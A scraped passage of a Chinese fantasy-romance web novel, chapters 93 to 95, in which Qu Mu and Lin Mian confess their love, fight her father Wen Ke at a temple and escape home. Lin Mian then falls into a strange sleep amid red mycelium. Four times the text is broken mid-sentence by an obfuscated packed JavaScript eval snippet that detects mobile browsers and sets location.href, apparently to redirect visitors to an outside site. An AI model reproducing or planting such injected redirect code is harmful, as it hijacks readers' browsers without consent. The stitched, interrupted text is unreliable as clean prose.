瞿木看着这个游戏页面,脑袋有些发懵,这个游戏…他也在玩。 “你在这个游戏里叫什么名字?”瞿木咽了口口水,问她。不知道为什么,他有一个强烈的预感,游戏里那个奇怪的人会不会就是… “想吃冰激凌。”林眠毫不犹豫地回答,“怎么了?我取这个名字的时候,可想吃冰激凌了。” 瞿木感觉自己的脑袋都要炸了,为什么会这么巧?他脑子里浮现起那一天的情况。 那会儿,他还不认识林眠,赵阳博上自己的号,然后在附近频道处发癫,发了一堆什么cpdd的东西,然后加上了一个叫“小蘑菇”的。 他上号的时候,就收到对方奇奇怪怪的信息。 “你怎么不说话?”林眠戳了戳瞿木,说:“我已经好多天没上号了,也不跟那个人玩了。” “为什么?”瞿木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14284952|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一听到不跟“那个人”玩,第一反应就是问她。他还在想自己会不会想错了,可最近这段时间,自己确实没在上号了。 林眠愣了一下,不知道瞿木为什么这么大反应,她解释说:“我觉得你说的对,对方万一真的是油头大耳呢?” “你说了之后,我就在网上刷到了什么网友面基,都是不好看的。” 后面她思考了一下,也许是自己的滤镜太重了。 “那说不定人家长得很帅呢?”瞿木抽了下鼻子,说道。他现在的心情有些难言,有一种喜欢的对方原来也喜欢自己的感觉,但这又不太对。 他的心砰砰的,喜悦、纠结就这么缠绕在一起。 林眠奇怪地看着瞿木,“你怎么和上次说的不一样了?” “上次你还说对方是油腻抠脚大叔。” “哪有?我这不是假设嘛,假设!”瞿木回想起自己上次说的话,那现在知道对方是自己了,确实不一样了。 他垂下眼,看着林眠疑惑的表情,心就变得更加柔软了一些,问她:“你之前怎么就对他好有感了?” 这个问题,他一直没得到答案。但一想到是自己,嘴角就忍不住上扬。 或许是因为林眠已经过了那个劲,她这一次回答了瞿木的问题:“就是,我当时刚来到北城,人生地不熟,我看他说可以帮助别人,我们就这么认识了。” “后面也只有他陪我一起玩游戏,虽然我们不怎么说话。” 但在当时,她还身处这里,一个人有些太无聊了。 瞿木大概了解了,不是对方多么有人格魅力,纯粹是林眠太寂寞了。这么一想,他也不知道是该接受还是不接受。 早知道,当初在游戏里对林眠好一些了,他还一口一个骗子。 “不过我知道,他也在北城,也正是因为这个,我才想着对方能帮我。”林眠说,她最开始就是想让对方帮自己找人,后面发现人家不愿意,她也就不强求了。 瞿木抽了抽嘴角,他那会儿一直觉得对方是来骗钱的! “好了,不说他了。”瞿木想要转移话题,至于掉马甲的事,他还是之后和林眠说吧。 “还不困么?”瞿木问她。 林眠摇摇头,“不困,还很精神。” 说着,林眠抖了一下,即使身上穿着厚厚的衣服,到了晚上,还是有些冷。 “冷吗?”瞿木注意到她有些抖。 “有点。”林眠说道,“对了,我这里有木柴。” 林眠突然想到,连忙从床上起来,去另一边搬出一堆木柴来。 瞿木也起来,看着这一堆木柴有些恍惚,林眠是怎么找到这些木柴的?这里又不是盖山村。 林眠手脚麻利的起火,这里瞬间变得亮堂起来。 “好啦,这样就暖和了。”林眠看着火苗窜起,搓了搓手,扭过头看向瞿木,说:“你也来烤一下。” “好。”瞿木也坐在林眠的身旁,一起看着火苗,烤火。 林眠今晚的心情很好,丝毫没有被昨天的事情所影响,她晃着身体,哼着歌。 “这么开心啊?”瞿木听着她哼的不知名曲调,不由得想起昨晚菌丝占据林眠身体所哼的调调,有一点相似,但又不太一样。 “嗯。”林眠重重的点头,并说:“不知道为什么,和你在一起就很开心。” 93. 告白 瞿木听到这句话,脑袋又轰隆一声了。他不知道这是种什么样的感觉,他的心突然猛烈地跳动起来,声音大的他都听到了。 “砰砰” “砰砰” 就像是被人猛烈地敲着门一样。 瞿木的脑海里,突然出现了“傅文佩,你开门啊”这个搞笑画面,以此来平复一下激动的心情。 “你的心怎么跳的这么快?”林眠也听到了,她动了动耳朵。下水道里太安静了,她能听到“砰砰”的声音,刚开始不知道声音的来源,后面才发现是心跳声,过快的心跳声,毫无节奏的跳动着。 她伸出手,想去摸一下瞿木的额头,是不是又发烧了? “没。”瞿木一把抓住林眠想要伸过来的手,说。 两人就这么对视着。 林眠觉得,自己的心也跳的快了。她的心也毫无节奏的跳动着,和瞿木的心跳形成交响曲,就像是黑夜里的青蛙叫声,此起彼伏。 “砰砰”,“砰砰”,“呱呱”,“呱呱”…… 她的心跳逐渐跟上瞿木的节奏,两人的心跳一致。 林眠这才清醒过来,她不知道刚刚是怎么了,但……感觉很神奇。她第一次心跳的这么快,她看向自己被瞿木握着的手,下意识甩开,然后垂下头,看着自己的脚。 瞿木看着自己的手被甩开,也坐直了身体,但视线还是一直在瞥向林眠。他的心跳还是很快,轰隆如雷鸣。 “瞿木,”林眠突然抬起头看向瞿木,喊他。 “怎,怎么?”瞿木坐的更加的直了,他不知道林眠喊自己是什么意思。 地上的架起的火堆烧的正旺,将林眠的脸映照的忽暗忽明,但那双眼眸,却格外的明亮。瞿木觉得被这么一双明亮的眼睛盯着,任谁都会心动。 “我好像喜欢上你了。” 林眠认真地对瞿木说,她摸了摸自己的脸,有些发烫,可是这就是她此刻的心情。或许在之前,她多多少少就察觉到自己对瞿木异样的感情。 就像是电视剧里演的一样,她现在特别有电视剧女主角的感觉。 瞿木脑袋又是轰隆一声,他张了张嘴,不知道该说些什么,又觉得自己喉咙处堆积了一堆的字,想要将其吐出来。 “不过,你会喜欢我吗?”林眠表白完,仰起头看瞿木,有些不太自信地说:“从小到大,除了阿牛哥,就没人夸过我好看。” 在她的眼里,瞿木肯定属于好看的,好看的人总是更容易获得他人的喜爱。 瞿木听到“阿牛哥”这三个字,瞬间清醒了不少,说:“谁说你不好看的?你这长得多好看啊,唇红齿白,眼睛大。” 他看着林眠,认真地夸奖起来。 “人还可爱,什么都会,什么都不怕,你这简直就是完美!完美人类!” 没有人不喜欢被夸奖,林眠也不例外。瞿木简简单单几句夸奖,就让林眠笑的合不拢嘴,还谦虚地说:“哪有?” “有。” 瞿木的语气太真诚了,这让林眠都要相信了。 “瞿木,你真好。”林眠笑着对瞿木说。 瞿木听过好多次这个话了,以前他一直觉得这句话就是在对自己发好人卡,今天听到这句话,感觉就完全不一样了。 他反应过来后,就觉得心里跟吃了蜜一样,多巴胺快速分泌,整个人都亢奋了。 林眠还在笑着,嘴角浅浅的勾起。 瞿木看着她,就忍不住拉过她的手,看着她看向自己,眼睛里都是自己的模样,心里就鼓足了勇气。 他轻声说:“林眠,我喜欢你。” 在以前,瞿木永远都想不到,他的第一次告白,会是在下水道里。 林眠看着瞿木,脸上的笑意扩大,她猛地向前,抱住瞿木。 瞿木被她突如其来的拥抱给惊讶了一下,但很快反手抱住她。 这一刻,就算是黑漆漆的下水道,也能冒出粉色的泡泡。 —— 瞿木一夜没有睡,他有些太亢奋了。昨晚的事现在回想起来,还有点像水中花、镜中月,迷幻。 这让他忍不住掐了自己一把,以此证明自己不是在做梦。 “睡得真香。”瞿木侧着身,看着躺在旁边的林眠,身体随着呼吸有频率的起伏着。他伸出去,轻轻地拍了下林眠,然后浅浅的笑了。 林眠醒来的时候,一睁眼就看到瞿木乌黑的眼珠子。她愣了会,回想起昨天的事,脸瞬间升温,随后像鸵鸟一样的缩了起来。 “干嘛呀?害羞了?”瞿木向来脸皮就厚,即使他也有点害羞,但见林眠这个样子,就觉得好玩,忍不住逗她。 “没有。”林眠闷闷出声。 “没有你缩起来当缩头乌龟?” “我只是有点冷。” “冷你怎么把身体露在外面,头盖起来?” 林眠沉默了几秒,干脆厚着脸皮掀开被子,与瞿木对视。 对视了几秒,林眠先败下阵来。她爬下床,说:“起床了,时间不早了。” 瞿木也不逗她了,他现在发现林眠其实挺害羞的。他也下了床,说:“嗯,我们还要出去吗?” 经过昨晚的事情,也不知道外面安不安全。 但下水道确实是安全的。毕竟正常人想不出下水道能住人。 林眠在旁边简单的洗漱一下,再把头发一扎,将帽子戴上,将自己的裹得严严实实的,回头对瞿木说:“出去,我刚刚收到了秦大师给我发的消息。他约我们在一个地方见面。” 她把手机递给瞿木,说:“这个地方,也在北城,我不知道具体在哪儿。” 瞿木一看,作为地地道道的北城人,这个地方他自然认识,只是有些太偏僻了。而且,秦宁也来了北城? 即使来了北城,为什么要在这里见面?寺庙。 “怎么了?”林眠发现瞿木脸色凝重,拍了拍他。 “事情可能不太对劲。”瞿木说道,接着拨通了秦宁的电话号码,但很快就被挂了。 【秦宁:他很好,等会就不知道了。】 瞿木看着这条信息,咬着牙。 林眠凑上前也看到了。 两人最终还是选择去,做好准备后就一起出了下水道,到了外面,迎接他们的依旧是这片荒地。 瞿木先去补了手机卡,再买了台手机。弄好这些后,他才带着林眠往秦宁给的地址处出发。 路上两个人都没说话,他们也不知道见到了秦宁会发生什么事情。 司机看了眼后视镜,嘴皮子有些痒了,就忍不住搭话问:“你们去那儿做什么啊?这地方可偏僻了。” “有点事。”瞿木回答。 林眠靠在车窗上,看着外面的街景,每当看到自己的熟悉一点的地方,她都会睁大眼睛,看的格外认真。 车大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294807|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概开了一个多小时,才到了目的地。 “这里是寺庙,车子开进去很难再倒出来,你们就走进去吧,几百米,不远。”司机停下车,对着他们说。 前往寺庙的这条路是单行路,车子开进去,一旦遇到车,就很麻烦。作为司机,他自然是不愿意进去的。 “好。”瞿木也不为难对方,点点头,付了钱。 林眠看着这条路,又看了看附近,这里都是低矮的山丘。 “我们走一段吧。”瞿木对林眠说。 “嗯嗯。”林眠点头。 两人往前走,这路的旁边种满了茶树,一看就有人打理过,茶树都长得很好。 瞿木走到林眠身旁,拉起她的手。 林眠回头看了眼瞿木,没有甩开,朝他笑笑,接着往前走。 “为什么让我们来这里?”林眠问,“这里是寺庙,是什么风水宝地吗?” 她不太明白,为什么选择这个地方。 瞿木抿着唇,说:“我有不太好的预感。” “什么?”林眠皱了下眉,看着这条空荡荡的路,可见这里并没有什么人来。 “不知道,到了再说吧,无论如何,我们都得来就是了。”瞿木说,他们总不能丢下秦宁不管。 林眠沉默,也没有来时的欢乐劲了。 她和瞿木都得去面对,去解决无支祁的事情,不然就像是一颗定时炸弹一样,你还不知道几时会爆炸。 走到寺庙门口的时候,能发现这是一家老旧的寺庙,很多地方都没有修缮,门前的树木很大很粗,又因为是冬季,显出一股凋零感。 林眠看着这个寺庙,上面写着“狮子庙”三个字。这个名字未免有些太好玩了,她拉了拉瞿木说:“这个寺庙的名字好有意思啊。” 瞿木也抬头看向这个寺庙牌匾,他虽然知道这个地方,但还真没来过,主要是没什么名气,不算是大众景点。 “我们进去吧。”瞿木说。 “等下,”林眠拿出手机,拍了个照片发给秦宁,再给他发了条信息。 她刚发出去,一秒就收到了回复。 “他让我朝右走。”林眠说道。 瞿木犹豫了几秒,还是决定听对方的话,并对林眠说:“如果情况不对劲,就赶紧跑。” “好。”林眠点头答应,边走边给柳寂白发消息,但柳寂白那边没有回复。 他们进了寺庙,朝右边走去。 右边有一条小路,路上都是积雪,踩下去发出“吱吱”的踩雪声。 大概走了几百米,出了小路,前面豁然开朗。而前面站了一个人,穿着黑衣服,一动不动地站在那里。 瞿木和林眠对视了一眼,这个局面他们并不意外。 “秦宁在哪?”瞿木开口问他。 文恪没有搭理瞿木,而是看向林眠,眼神凌厉。 林眠被看的有些畏缩,这种感觉就像是被刀子凌迟一样,她浑身不自在,想要躲避这种眼神。 事实上,她确实躲了,躲在瞿木的身后,并小声嘀咕:“他的眼神好可怕。” 瞿木回头看了眼林眠,又看向文恪。他自己也觉得很奇怪,自己的背后是林眠,前面是……林眠生物学上的父亲,自己未来的岳父。 不过,现在应该是仇人才对了。 瞿木很清楚现在的情况,他抬起头和文恪对视,再一次问他:“秦宁在哪里?” 94. 狮子庙 林眠从瞿木身后探出个头来,她看到文恪的时候,前天晚上的记忆就逐渐清晰起来。她就像是被困在自己的身体里,看着自己和他们,却什么也做不了。 那些话她也都听到了,并逐渐清晰。 杀了自己,也就等同于杀死菌丝。 他是在为妈妈报仇。 瞿木还在和文恪僵持着,他不知道秦宁怎么样了,但文恪又一言不发,只顾着盯着林眠看。 “诶,那个,你回答一下我啊!!”瞿木忍不住对他喊。 上次还要打要杀的,现在一言不发,想做什么啊?总不能这么时候爆发他那点所谓的父爱吧? 瞿木脑海里闪过很多想法,他在揣测文恪的心理活动。 林眠在后面也待够了,也做好了心理建设,索性就直接站出来,和文恪对视,并开口说:“你要杀我没那么容易。” 没有人想死,她自然也是。 文恪还是不出声,他轻轻抬起手,火焰在他的掌心燃起。 瞿木咽了下口水,这个场面他太熟悉了。 果然,下一秒,文恪就冲了上来。明明相隔好几米,但几乎就是一秒钟的时间,他就冲到了面前。 瞿木一把推开林眠,他的躯体上长出银木,形成一个盾牌,挡住文恪的火焰。他不知道五行相克在这里管不管用。 毕竟对方是明晃晃的火,自己是木,林眠的菌丝怕火。 文恪一拳砸在瞿木的银木上,伸回收,看了眼瞿木,说:“你的用处不在这里。” “你管我在哪里。”瞿木回答说,他看了眼被打的银木,没有变形,说明他用的力度不大。 要是是前天晚上的力度,他也撑不住。 林眠的身体上长出菌丝,朝着文恪袭去,但文恪反应很快,一下子躲开了林眠的攻击,随后火焰将菌丝烧断。 “你没事吧?”林眠连忙拉起瞿木,问他。 瞿木摇摇头,看向文恪,再次问他:“秦宁在哪里?” 这一次,文恪终于开口了。 “海底。” “什么?”林眠不可置信,怎么秦宁到了海底,难道是被无支祁抓去了? 文恪看向林眠,目光一沉:“这和我无关,是他自己要去送死的。” “什么意思?”瞿木站稳身体,有些发懵,秦宁去海底找无支祁了?他朝着文恪摆了个手势,问:“那我们为什么在这里?” 不是,他是收到了秦宁的消息,知道秦宁被绑了才过来的。 问恪直接从身上掏出一部手机,扔了过来。 瞿木接住手机,还是有些不明所以。 “我告知他无支祁的位置,作为交换,他把手机给我。”文恪轻描淡写地说。因为他的目的很简单,那就是菌丝。 林眠拉了拉瞿木,低声问他:“我们这是被秦大师给卖了吗?” 瞿木深呼吸一口气,秦宁这是想让他和林眠死是吧? 文恪也不跟他们废话,冰天雪地里升起一团又一团的火焰,朝着他们袭来。 “不要碰到火焰。”瞿木连忙推开林眠,对她喊道。 菌丝害怕火焰,如果林眠碰到了,肯定会重伤。 可文恪击击都是朝着林眠来的,瞿木只能在旁边帮她挡。 “碍事。”文恪停下来,看着瞿木说道。 瞿木喘着气,朝他比了个暂停的手势,气喘吁吁地说:“那个,文叔叔,有什么事情不能找个别的方法解决吗?这样打打杀杀不好。” 瞿木将自己想要说的话说出来,并准备晓之以情、动之以理劝说文恪时,就听到林眠的一句“小心!!”,紧接着自己的身体被高高挂起。 他突然凌空,脚离开了地面,低头一看,自己身上长出了不少菌丝,再一抬头,与文恪对视上。 林眠张开双臂,双手就像是操纵提线木偶一样,看着文恪。 “不要伤害瞿木。”林眠对文恪说。 文恪将嘴唇抿成一条线,朝着林眠走去。 “不要跟他硬碰硬。”瞿木在半空中着急地喊。 林眠没有搭理瞿木,只将他挂在半空中。下一秒,就和文恪对打了起来。 “不是,让我在这上面观战吗?”瞿木在上面干着急,身体还悬浮着,他又挣扎不开菌丝的控制。 林眠和文恪在下面打的有来有回。 瞿木看的很认真,他这会儿才发现,文恪使用的火焰里好像包裹着东西。他眯着眼仔细看,发现是符咒的模样。 随着火焰消散,符咒也就消失了。 这一点,倒是很符合瞿木对于他们除妖师的认知。 也就是说,现在文恪用的还是术式,并没有用无支祁的力量。瞿木回想起那天晚上菌丝所说的话,说文恪身上有无支祁的力量,且不少。 就目前来看,林眠和文恪能打的不相上下。 文恪看着林眠,说:“没想到你这么熟练的操控菌丝。” 这么多年,他一直在研究菌丝,也了解菌丝的弱点,只是没想到林眠对菌丝的操控这么熟悉,实在是有点出乎意料了。 也是,这么多年,他也没接触过林眠,也没找到她的下落。 林眠没有回答,只是站在原地看着文恪。 寂静无声。 文恪身上燃起幽蓝色的火焰,身上的气息瞬间不太一样了。现在这个模样,倒有点像那天晚上的样子。 瞿木咽了口口水,试图呼喊林眠。 林眠先是躲避,但是她的力量和文恪的差距悬殊,仅仅几回合,她就有些不支了。她的身体被那个火焰碰到的时候,就会隐隐作痛。 “林眠,我我我。”瞿木在上面着急地喊。 林眠看了眼瞿木,还不允许她多做反应,文恪的火焰已经将她围住,从未齐聚过来。她抬手,将瞿木拉到自己的面前。 瞿木终于落地了,也反应迅速的长出银木,将这些蓝色火焰挡住,并对林眠说:“你早就该把我放下来。” 至少银木足够坚硬,能够抵挡一会儿。 林眠明白这个道理,只是她也不希望瞿木受伤。现在她也没空开口说这些,文恪再一次袭来。 有了瞿木的加入,文恪显然要费劲地多,但他身上有妖物的力量,加上他本身术式就修炼的很好,即使一打二,也是占了上风。 林眠摔在厚实的树叶堆中,身上沾了雪和树叶,她挣扎着爬起来,感觉胸口处像是被碎了大石一样,发紧发痛。 前面的瞿木也快撑不住了,退到了林眠前面。 林眠头晕眼花的站起来,一抬眼,就看到文恪的蓝色火焰飘到自己的面前,她顿时如同身处冰窖一样,感到寒冷。 “别!”瞿木刚爬起来,就看到文恪要对林眠下手,喊道,“她好歹是你的亲女儿,你为什么要这么狠心?” 文恪顿了一下,但也仅仅一秒,那些火焰还是包裹着林眠。 林眠感觉到身上很疼,那种被灼烧的感觉。她呼吸加重,喉咙发紧,身体感觉被扭曲,就如同她的灵魂也被扭曲了一样。 就在她意识模糊之际,前面突然出现了一道模糊的声音。紧接着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304072|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体上的灼热感消失,她直直倒在地上。 瞿木看到来人,也是愣了一下,但还是赶紧走到林眠身边,将她抱起。 文恪看到况衍君,皱了一下眉,问:“你来做什么?” “你看我像是来做什么的?”况衍君反问他。 “你是叛徒。”文恪说道。 况衍君没否认,只是说:“你刚刚不是犹豫了吗?明明可以很快,但你还是放慢了动作。” “我只是想看看,菌丝临死前最后的状态。” “那不是菌丝濒死的状态,是林眠濒死的状态。”况衍君纠正他的说辞。 瞿木压根听不懂他们在这说什么,抱着林眠,拍了怕她的脸,焦急地说:“没事吧?能不能醒来。” 他探了一下鼻息,有些微弱,但还是有。 前面的况衍君和文恪已经打起来了,两人在这片空地中打的有来有回。 瞿木也没心情看他们打架,抱着林眠就往外走。 文恪注意到了,想去追,被况衍君拦下了。 “你一定要?被无支祁知道了,你会是什么下场。”文恪脸色阴沉地说。 况衍君笑笑,说:“无所谓,时候已经到了。更何况,你难道又是无支祁忠心耿耿的手下吗?你不也有私心,才会到这里来吗?” “你就指望那个身体里有银木的小伙子?”文恪问他,“仅仅靠这个就能再次封印无支祁?” “那就和你无关了。”况衍君裆下文恪的攻击,说:“你与其和我在这里斗,不如回到你应该去的地方,那里有你想要的东西。” 况衍君抛下这句话,就离开了。 文恪站在原地,若有所思。 另一边,瞿木和林眠出了寺庙,瞿木也管不了那么多,一路背着林眠小跑。好在他平时经常锻炼,抱着林眠跑完全不是问题。 出了那条小道后,这附近就有车辆了。 他随后拦下一辆车,直接就上车了。 “那个,我就是路过啊,不是出来做生意的。”司机看着后面一个昏迷的女人,身上脏兮兮的,那个男人身上也脏兮兮的,看起来像是逃难出来了一样。 “去市区,价格随便开。”瞿木说道,“快点开!” 他怕文恪追上来了,也不知道况衍君能和文恪打多久。 司机怔了一下,还是启动了车子,并且问:“要给你报警吗?这里面难道有什么事吗?” 他都在脑海里脑补了传销组织,这附近山多,很适合传销组织在这里驻扎。 瞿木看了眼司机,抿着唇没好气地说:“不用。” 司机:……那我就要怀疑你的意图了。 车子往前开去,瞿木的心才稍微安定了一些,他给卫叔发了消息,又查看下林眠的情况,呼吸逐渐平稳了,看着没什么大碍。 到了市区,瞿木住的地方处。 瞿木直接让司机打开手机收款码,给他转了钱,就带着林眠下车了。 司机把收款码一收,舔了舔干燥的嘴唇,脑子里闪过很多可能性。这两个人,虽然不太像是什么绑架关系,但万一呢…… 他看着人走远了,又看着这个高档住宅小区,想了想还是准备打电话报警,刚刚一路上他没敢报警,毕竟对方比自己高大,他害怕。 现在下了车,人走远了,他才颤颤巍巍的想打电话报警。 刚打开电话页面,就看到手机上面跳动了一个信息。 【收款到账10000元】 他顿时…默默地把手机收起来,开着车离开了。 95. 入眠 瞿木带着林眠回到了家,时隔半年,再次回到家,他都没心情管家里有没有变化,连忙帮林眠把身上脏兮兮的外套脱了。 没一分钟,卫叔就来了。 “怎么了?”卫叔急冲冲地走进来。 “去打盆水来。”瞿木说道,他也分不太清林眠现在的状况,秦宁和柳寂白都失联了。他只能联系文忱,按照文忱的吩咐来做。 卫叔打来了水,瞿木呼了一口气,沉住气,伸出食指在水面上画下一个奇怪的符号。水面上竟然显现出这个符号的模样,就像是水生成的一样,立在水面上。 瞿木咽了口口水,拿来毛巾放入水中,浸泡湿透再拿出拧干,给林眠拭擦身体。 “少爷,这是怎么了?”卫叔见气氛没那么凝重了,才开口说道。 瞿木正在认真的给林眠擦身体,见卫叔问,才开口说:“太复杂了,一时半会说不清。” 卫叔点点头,在旁边帮忙打下手。 “少爷,这半年没见,你都学会他们这些风水大师的术式了。”卫叔在旁边感叹说道。这半年来,他也是日日操心啊。 瞿木瘫在旁边,摆了摆手,说:“别说这些了,让我静一下。” 他现在在思考,这里并不安全,等会文恪追上来,肯定能找到自己家,也不知道况衍君怎么突然出来了。 还有秦宁和柳寂白,怎么突然跑去找无支祁了?这怎么去海底啊?多深啊? 他脑子里出现一连串的问题,都没办法得到解决。 但经过一下午,家里都没出现任何问题,文恪没有来,况衍君也没有。 也就在天黑之际,林眠终于醒来了。 林眠一睁开眼,就是熟悉的房间,她愣了几秒才反映过来,这里是瞿木的家。她怎么回到瞿木的家了?她不是在…… “你醒了。”瞿木凑上前,说。 林眠眨眨眼,没一会儿,自己的眼前又出现一颗脑袋。 “林小姐,你可终于醒了。”卫叔凑上前,满脸欣慰,再不醒他都要去请医生了。现在醒了就好,他轻声问:“肚子饿了吗?想吃什么,我去准备。” 林眠笑笑,看到熟悉的面孔,让她感到安心,她撑着起来,有些开心地说:“我们又回来了。” “嗯。”瞿木点点头,有些宠溺地看着她说:“现在应该是安全的,他们都没找来。” 林眠一听,立马对着卫叔说:“卫叔,我想吃肉,很多很多的肉。” 卫叔听了,也笑了,“好,我现在就去准备。” “亏你现在还有心情吃饭。”瞿木在旁边无奈地摇头。 林眠撇了一眼瞿木,低声说:“吃饱了才能干活嘛。” “对了,我晕了之后有发生什么事吗?”林眠说着回想了一下,她记得最后是……“况衍君来了!” “嗯。”瞿木垂下眼,“我不知道他们之间有什么事,但显然况衍君帮我们解决了这个大麻烦,才让我们现在能喘口气。” 林眠鼓着腮帮子,问:“秦宁他们呢?还没有消息吗?” “没有。”瞿木将手机拿出来给林眠看,“我给柳寂白发消息也没回,他们两个怕是真的一起去找无支祁了。” “他们两个打得过无支祁吗?”林眠天真地问。 瞿木抬眼,“我看悬,如果无支祁那么好杀,早就留不到现在了。也不知道他们两个哪根筋不对,竟然跑去找无支祁了。” “我们要去吗?”林眠问。 “我们两个去当炮灰吗?”瞿木摊手,他和林眠的战斗力可不比秦宁柳寂白强,现在连文恪都打不过,怎么打无支祁? 林眠沉默,过了好几秒才开口:“可我们不能眼睁睁看着秦大师他们出事呀。” “是不能,可我们能怎么办?”瞿木反问她。 林眠想了想,都没有办法。她打了个哈欠,揉了下眼睛对瞿木说:“我好困啊,等会卫叔回来了,你再叫醒我吧。” 话音刚落,她眼睛就闭上了。 瞿木看着林眠说完话,眼睛一闭就真睡着了,还传来均匀的呼吸声。不是,这就睡着了?是今天和文恪对打的后遗症吗? “算了算了,睡吧,能睡是福。”瞿木站起身,准备去联系一下秦家的人,仔细了解下情况。 他现在可是完全没法睡。 等到卫叔准备好吃食,瞿木才去把林眠叫醒。 饭桌上,林眠边吃边打哈欠。 一旁的瞿木问她:“还困吗?是因为今天废了太大的精力?” 毕竟林眠和文恪打起来,应该废了不少力气。 林眠摇摇头,也有些疑惑地说:“我也不知道怎么了,今天特别的困。” “那等会早点儿睡。”瞿木说道。 “嗯嗯。”林眠这一顿饭吃的很多,虽然犯困,但不影响她的胃口。 卫叔在旁边絮絮叨叨地说着北城的情况,瞿木在旁边有一搭没一搭的听着,并且随便敷衍两句。 等到吃完饭,林眠坐在瞿木身边,看他给秦家的人发消息。 “文叔有回你吗?”林眠问。 “回了。”瞿木说,“但他人在梧州,也不太了解情况。” “哦。”林眠打着哈欠,眯着眼靠在瞿木的肩膀上。 瞿木看着秦家人回的消息,有些头疼,他们也不清楚无支祁的具体位置,只知道是在哪个海边,可海里那么大,去哪里找? 况衍君那边也没有消息了。 “况衍君不回消息,是不是出事了?但文恪也没出现了,难不成他们两个同归于尽了?”瞿木说着,脑子里回想起那天的情况,他们好像说了什么话来着。 他记不清了,他当时只顾着要把林眠带走。 瞿木见林眠不回答,低下头一看,林眠已经靠在自己的肩膀上睡着了。 “真这么困啊。”瞿木嘟囔着说,轻手轻脚将林眠抱起,放到床上,给她盖上被子。然后他再坐到一旁的沙发处,再次试着跟况衍君联系。 第二天,瞿木一个惊醒,一睁眼就被窗外的阳光刺到了。他揉了揉眉心,站起身来,走到窗外看着外面。 下大雪了。 北城的冬季向来是这样,瞿木伸了个懒腰,站在窗边看了会,才回头看向躺在床上的林眠,这都9点多了,怎么还没起? “林眠?”瞿木叫了一声,林眠没反映。他走上前摸了摸林眠的额头,又摸了一下自己的,没发烧啊。 “林眠。”瞿木接着喊一声,还用手戳了戳林眠的脸蛋。 林眠迷糊着睁开眼,一把抓住瞿木的手指,带着起床气说:“别闹,我困。” “你都睡了快12个小时了,还困啊?”瞿木不解,以前林眠那都是精力十足,一口气走个几万步都不成问题。 “嗯。”林眠闭着眼点点头,伸手将被子一拉,身子一扭,接着睡了。 瞿木也不忍心叫醒她,只好自己先出去。 出了林眠的房门后,他就忍不住给文忱发去信息,跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314254|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说了林眠的情况,想问问是不是有什么事。 毕竟现在这个模样,实在太不对劲了。 但文忱那边也不清楚情况。 今天,除了吃饭的时间点,林眠起来吃了饭,其他时间都睡觉。 瞿木也不能阻止她睡觉,但又怕发生什么事情,只好守在林眠的身边。 今天雪下一了整天。 到了晚上,外面依旧灯火通明。 瞿木把窗帘拉上,看了眼正在睡梦中的林眠,叹了口气,拉过把椅子坐在她的旁边。他则毫无睡意,拿了一个空白本子,在上面写写画画。 等到了夜深人静的时候,瞿木也撑不住了,打着哈欠准备眯一会儿。 林眠这两天觉得自己整个人都昏昏沉沉的,身体极度乏力,特别想睡觉。她每次都想挣扎着起来,可是眼皮都睁不开。 想这么一直睡下去。 迷迷糊糊之中,她好像还做了一个很漫长的梦。 瞿木眯着眯着打盹,头一点一点的,他半撑着睁开眼,眼前一片猩红,面前都是红色的丝线?还是什么的。 “做梦了吗?”他嘀咕了一句,随后将眼睛又闭上了。 大约过了三秒,他猛地睁开眼,从椅子上起来,看着面前的这一幕,他心跳加速,颤抖着张嘴喊林眠。 “林眠,林眠。”瞿木慌张地看向床上,林眠在半空中平躺着,身上缠绕着红色丝线,这些丝线充斥着整个房间。 不,不是,这不是丝线,是红色的菌丝。这些菌丝和之前散发着淡淡白光的菌丝不一样,暗红色就像是血管一样。 瞿木仿佛感受到了血液在流动,他不禁想起之前在青州的时候,那一次也出现了这样红色的菌丝。 “这是怎么回事?”瞿木两只手抱着头,强迫自己冷静下来。他伸出手去够半空中的林眠,试图想将林眠叫醒。 